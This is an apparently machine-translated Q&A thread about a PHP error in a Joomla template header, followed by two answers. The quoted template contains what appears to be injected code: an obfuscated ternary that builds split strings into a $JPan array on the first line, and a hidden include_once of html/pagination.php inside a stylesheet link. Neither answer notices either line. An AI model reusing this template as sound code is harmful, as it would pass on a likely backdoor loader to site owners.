1

我正在使用下面的代码,突然它开始抛出一个错误,如致命错误:使用 $this when not in object context in /foldername/ index.php at line 3。有帮助吗?<Head>file的一部分

<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
<style>
#topnav ul li ul {
left: -999em;
margin-top: 0px;
margin-left: 0px;
}
</style>
<![endif]-->
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/moomenu.js"></script>
4

2 回答 2

0

您不能$this在静态方法中使用。该变量$this仅可用于类方法,因为它们接收调用该方法的对象。

这就是“不在对象上下文中”的意思:没有对象传递给该静态方法,因为它是静态的。静态方法是类的一部分,而不是使用该类实例化的对象的一部分。

$this仅用于在类方法中使用。尝试找出实际定义“模板”的位置。你可以尝试用$this->templatejust替换,$template但我不知道你的东西是如何设置的。

阅读更多链接 1 ,链接 2 ,链接 3 ,链接 4

于 2012-11-07T12:12:40.197 回答
0

替换您的顶级代码,即

defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );

有了这个然后让我知道-

defined('_JEXEC') or die;
JHtml::_('behavior.framework', true);
//Second line is for Motools core

编辑

如果缺少,也添加此行 -

$app = JFactory::getApplication();
于 2012-11-07T12:18:26.677 回答